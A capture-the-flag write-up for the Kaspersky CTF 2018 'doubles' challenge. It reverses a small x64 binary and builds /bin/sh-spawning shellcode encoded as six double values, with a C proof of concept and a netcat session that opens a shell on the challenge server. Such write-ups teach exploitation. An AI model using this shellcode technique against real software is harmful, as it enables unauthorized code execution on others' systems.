doubles
635
nc doubles.2018.ctf.kaspersky.com 10001
This is a pwning challenge on a x64 Linux executable:
1
2
3
$ file doubles
doubles: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter
/lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e5511e0c31ccc63eda7398cbbfdf1d479f4854cd, not stripped
The file is pretty small and disassembly reveals the following steps:
- Allocate
0x1000
bytes of memory with read/write/execute permissions - Ask user for a number of inputs
n
(between 0 and 6) and then readn
double values from input - Put each 8-byte double value sequentially at the beginning of allocated memory area
- Put byte sequence
31C0909090909090
at offset0x70
in the allocated memory. It decompiles to the following:
1
2
3
4
5
6
7
0: 31 c0 xor eax,eax
2: 90 nop
3: 90 nop
4: 90 nop
5: 90 nop
6: 90 nop
7: 90 nop
- Put the sum of all entered doubles divided by
n
at offset0x78
in the allocated memory area - Zero out all registers and jump to offset
0x70
in the allocated memory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
4008C1 31 DB xor ebx, ebx
4008C3 31 C9 xor ecx, ecx
4008C5 31 D2 xor edx, edx
4008C7 31 FF xor edi, edi
4008C9 31 F6 xor esi, esi
4008CB 31 ED xor ebp, ebp
4008CD 31 E4 xor esp, esp
4008CF 31 E4 xor esp, esp
4008D1 4D 31 C0 xor r8, r8
4008D4 4D 31 C9 xor r9, r9
4008D7 4D 31 D2 xor r10, r10
4008DA 4D 31 DB xor r11, r11
4008DD 4D 31 E4 xor r12, r12
4008E0 4D 31 ED xor r13, r13
4008E3 4D 31 F6 xor r14, r14
4008E6 4D 31 FF xor r15, r15
4008E9 FF E0 jmp rax
So the intent is fairly clear now - accept a bunch of double values from the user that, when stored, become the shellcode that exploits the application.
Unfortunately there are several complications here:
- Not every byte sequence represents a valid double value, so we will have to play with the commands in our shellcode to make them combine into valid doubles
- Before control is transferred to the shellcode all registers are cleared, including the
esp
- and we need valid stack for the shellcode to work - The bytes at offset
0x78
are composed from all other double values, and at the same time they have to become ajmp
to our shellcode
Max possible bytes we can input is 6*8 = 48
which is plenty for a x64 shellcode - we will use a common short variant for our purposes.
We have to add additional commands into the code so that it could be represented as valid doubles, so after some experimentation we arrive at the following working example that fits into 5 8-byte sequences:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0: 31 f6 xor esi,esi ; filler code
2: 31 f6 xor esi,esi ; filler code
4: 48 8d 25 ff 05 00 00 lea rsp,[rip+0x5ff] ; allocate stack about mid-way through the memory area
b: 90 nop ; filler code
c: 90 nop ; filler code
d: 31 f6 xor esi,esi
f: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f ; load /bin//sh into rbx
16: 2f 73 68
19: 56 push rsi
1a: 53 push rbx
1b: 54 push rsp
1c: 5f pop rdi
1d: 6a 3b push 0x3b
1f: 58 pop rax
20: 66 31 c9 xor cx,cx ; filler code
23: 31 d2 xor edx,edx
25: 0f 05 syscall
27: ff .byte 0xff ; filler junk byte
We can now come up with 6th double that will produce a valid jmp
at offset 0x78
when combined with other doubles. For the jmp
to be valid let us try for the following value j
at that location: eb869090909090ff
, which decompiles to:
1
2
3
4
5
6
7
0: eb 86 jmp 0xffffffffffffff88 ; jump 122 bytes back
2: 90 nop
3: 90 nop
4: 90 nop
5: 90 nop
6: 90 nop
7: ff .byte 0xff
Formula for 6th double becomes pretty simple:
1
d6 = j*6 - (d1+d2+d3+d4+d5)
Python’s handling of long doubles is not very predictable, so let’s write a piece of C code as our PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
int main()
{
char dc1[] = {0x31,0xf6,0x31,0xf6,0x48,0x8d,0x25,0xff};
double d1 = *(double*)dc1;
char dc2[] = {0x05,0x00,0x00,0x90,0x90,0x31,0xf6,0x48};
double d2 = *(double*)dc2;
double d3 = *(double*)"\xbb\x2f\x62\x69\x6e\x2f\x2f\x73";
double d4 = *(double*)"\x68\x56\x53\x54\x5f\x6a\x3b\x58";
double d5 = *(double*)"\x66\x31\xC9\x31\xd2\x0f\x05\xff";
double j = *(double*)"\xeb\x86\x90\x90\x90\x90\x90\xff";
printf("d1 = %lf\n\nd2 = %lf\n\nd3 = %lf\n\nd4 = %lf\n\nd5 = %lf\n\nj = %lf\n\n",d1,d2,d3,d4,d5,j);
printf("sum = %lf\n\nj*6 = %lf\n\nd6 = %lf\n",d1+d2+d3+d4+d5,j*6,j*6-(d1+d2+d3+d4+d5));
return 0;
}
When run we get the following values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
d1 = -29559091864572820292681211914927464797860470802238602797975133423556597190524648032648549717921251541252207615662565262295374628003076419760662954965978663312650403503266161258034199495885073994787156264246210982573198769108759875107127168181815354450326757138884460293640370406304322547625947123628900352.000000
d2 = 30933380527999897844181710530453929767993344.000000
d3 = 6813905293115760542120164628744098873719246634693038997721476826910022503981551850256229588569116520719267474398463574052616707022645722479718377571242630801186886685030914191052826781635181654745781180865715668825202440012912092967881823496437760.000000
d4 = 1080226375091073528021226343805715536002313604560130468987472238944077983639024984304711725399647812346738966255370240.000000
d5 = -7221728359051669221104524211471986207229634050470487507184666147640458850386807544095578717721216606254177370818620670478590545335985432672572436948742881130607592737182467980735839261026849649608088362430955077272509753119169582149912145378930118483238742739000059656808347887105107420583218873446170624.000000
j = -2908033012275735465345584273188774480244846208973146967303899150349685107885671012220806655752397208130581049387909425120052463248269430708062761141130806637840019732542185668620969062492161721433352994196491003929461564535255972897316734923212121386921972473231415147003098792468167203464949561206583066624.000000
sum = -36780820223624487077457233276399680916744507883912012586103085172445174323934841273506955744035942531102618515978621126447736115486894806568442925613948032798761172162285274355950613767793666176697830754163753971645810152423334738835639832212026736496974596010643116743514017517340043197752018499096543232.000000
j*6 = -17448198073654411544673312179932764596236131605814778011666357129937147208221999550067407516411842133184757863430143369881285501869307056765602824100788801865057744467233476311722268780524422505139042062452079034418421421871583341552143875088728735265997292059360892440068025957461477194315637848274492194816.000000
d6 = -17411417253430787730022521733256301459702771861318859449539907218820221387783610256487360223551207260781094790772872635300876985721018266617717101874188343046140106740644276985024479463753267900046830460511617016789947561785228149097614492108763079785999406930708876608438489354139287899764058539217469308928.000000
Now armed with these values we can simply paste them in our netcat session and get the flag:
1
2
3
4
5
6
7
8
9
10
11
$ nc -vv doubles.2018.ctf.kaspersky.com 10001
Connection to doubles.2018.ctf.kaspersky.com 10001 port [tcp/*] succeeded!
n: 6
-29559091864572820292681211914927464797860470802238602797975133423556597190524648032648549717921251541252207615662565262295374628003076419760662954965978663312650403503266161258034199495885073994787156264246210982573198769108759875107127168181815354450326757138884460293640370406304322547625947123628900352.000000
30933380527999897844181710530453929767993344.000000
6813905293115760542120164628744098873719246634693038997721476826910022503981551850256229588569116520719267474398463574052616707022645722479718377571242630801186886685030914191052826781635181654745781180865715668825202440012912092967881823496437760.000000
1080226375091073528021226343805715536002313604560130468987472238944077983639024984304711725399647812346738966255370240.000000
-7221728359051669221104524211471986207229634050470487507184666147640458850386807544095578717721216606254177370818620670478590545335985432672572436948742881130607592737182467980735839261026849649608088362430955077272509753119169582149912145378930118483238742739000059656808347887105107420583218873446170624.000000
-17411417253430787730022521733256301459702771861318859449539907218820221387783610256487360223551207260781094790772872635300876985721018266617717101874188343046140106740644276985024479463753267900046830460511617016789947561785228149097614492108763079785999406930708876608438489354139287899764058539217469308928.000000
cat flag.txt
KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}
The flag is KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}
.